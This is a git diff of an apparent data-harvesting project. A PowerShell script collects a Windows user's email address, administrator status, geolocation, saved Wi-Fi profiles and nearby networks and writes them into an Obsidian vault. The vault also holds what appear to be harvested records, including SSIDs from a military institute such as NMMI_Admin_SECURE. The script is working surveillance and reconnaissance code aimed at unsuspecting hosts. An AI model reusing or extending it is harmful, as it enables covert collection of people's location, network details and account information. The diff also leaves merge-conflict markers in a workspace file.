diff --git a/.obsidian/workspace b/.obsidian/workspace index 32e003b..7ba0bf6 100644 --- a/.obsidian/workspace +++ b/.obsidian/workspace @@ -9,7 +9,7 @@ "state": { "type": "markdown", "state": { - "file": "user1.md", + "file": "NMMI.md", "mode": "source", "source": false } @@ -40,7 +40,7 @@ "state": { "type": "search", "state": { - "query": "tag:#starbuck-wifi", + "query": "", "matchingCase": false, "explainSearch": false, "collapseAll": true, @@ -77,7 +77,7 @@ "state": { "type": "backlink", "state": { - "file": "user1.md", + "file": "NMMI.md", "collapseAll": false, "extraContext": false, "sortOrder": "alphabetical", @@ -94,7 +94,7 @@ "state": { "type": "outgoing-link", "state": { - "file": "user1.md", + "file": "NMMI.md", "linksCollapsed": false, "unlinkedCollapsed": true } @@ -117,7 +117,7 @@ "state": { "type": "outline", "state": { - "file": "user1.md" + "file": "NMMI.md" } } } @@ -130,28 +130,15 @@ }, "active": "7b08e31842a41fe1", "lastOpenFiles": [ -<<<<<<< HEAD + "NMMI.md", + "user1.md", "ROADMAP.md", "README.md", "Nmmi_Cadet.md", "blue.md", - "user1.md", "burgerking-wifi.md", "guest-wifi.md", "redro.md", - "user3.md", - "user2.md" -======= - "README.md", - "redro.md", - "user1.md", - "burgerking-wifi.md", - "guest-wifi.md", - "user3.md", - "user2.md", - "ROADMAP.md", - "file.md", - "curl.md" ->>>>>>> origin/main + "user3.md" ] } \ No newline at end of file diff --git a/NMMI.md b/NMMI.md new file mode 100644 index 0000000..e95646d --- /dev/null +++ b/NMMI.md @@ -0,0 +1,63 @@ +- # +- # +- # +- # +- #-Nmmi_Cadet + + +- #-WPA2-Personal + + +- #-CCMP + + +- # +- #1 + +- # + +- # + +- #2 + +- # + +- # + +- #3 + +- # + +- # + +- # +- #-Nmmi_Cadet + + +- #-WPA2-Personal + + +- #-CCMP + + +- # +- #Nmmi_Cadet + + +- #WPA2-Personal + + +- #CCMP + + +- # +- #Nmmi_Cadet +- #WPA2-Personal +- #CCMP +- # +- #Nmmi_Cadet +- #WPA2-Personal +- #CCMP +- # +- #NMMI_Admin_SECURE +- #Nmmi_Cadet diff --git a/main.ps1 b/main.ps1 index 454ca79..f08c3c7 100644 --- a/main.ps1 +++ b/main.ps1 @@ -126,14 +126,6 @@ function user_markdown { $email = Get-email $is_admin = (Get-LocalGroupMember 'Administrators').Name -contains "$env:COMPUTERNAME\$env:USERNAME" - # geolocation values - $GL = (Get-GeoLocation) -split " " - $latitude = $GL[0].Substring(11) -replace ".$" - $longitude = $GL[1].Substring(10) -replace ".$" - - # $longitude = '40.7484405' - # $latitude = '-73.9878531' - # create markdown content $content = @" # $account @@ -157,29 +149,50 @@ function user_markdown { # send data set one send_to_obsidian -message $content -file $markdown + # get saved wireless data $wifi_json = wireless_markdown + # add known connections for ($i = 0; $i -le $wifi_json.Length; $i++) { $wifi_name = $wifi_json.SSID[$i] send_to_obsidian -message "- [[$wifi_name]]" -file $markdown } + # setup nearby netwoks send_to_obsidian -message "`n## Nearby Networks" -file $markdown + # attempt to read nearby networks try { - $nearby_ssids = (netsh wlan show networks mode=Bssid | ?{$_ -like "SSID*"}).trim() + # get nearby ssids + $nearby_ssids = (netsh wlan show networks mode=Bssid | ?{$_ -like "SSID*" -or $_ -like "*Authentication*" -or $_ -like "*Encryption*"}).trim() + + # clean for iteration + $nearby_networks = $nearby_ssids | ConvertTo-Json | ConvertFrom-Json + + # format and add ssids + for ($i = 0; $i -le $nearby_networks.Length; $i++) { + + if ($nearby_networks[$i] -like "SSID*") { + $formatted_ssid = $nearby_networks[$i] | Out-String + $formatted_ssid = $formatted_ssid.Split(":")[1] | Out-String + $formatted_ssid = $formatted_ssid.Replace(" ", "").Replace("`n","") + + send_to_obsidian -message "- #$formatted_ssid" -file $markdown + } + } } catch { - $nearby_ssids="No nearby wifi networks detected" + send_to_obsidian -message "- No nearby wifi networks detected" -file $markdown } - $nearby_networks = $nearby_ssids | ConvertTo-Json | ConvertFrom-Json + # geolocation values + $GL = (Get-GeoLocation) -split " " + $latitude = $GL[0].Substring(11) -replace ".$" + $longitude = $GL[1].Substring(10) -replace ".$" - for ($i = 0; $i -le $nearby_networks.Length; $i++) { - $formatted_ssid = $nearby_networks[$i].replace(" ", "-") - send_to_obsidian -message "- #$formatted_ssid" -file $markdown - } + # $longitude = '40.7484405' + # $latitude = '-73.9878531' $content = @"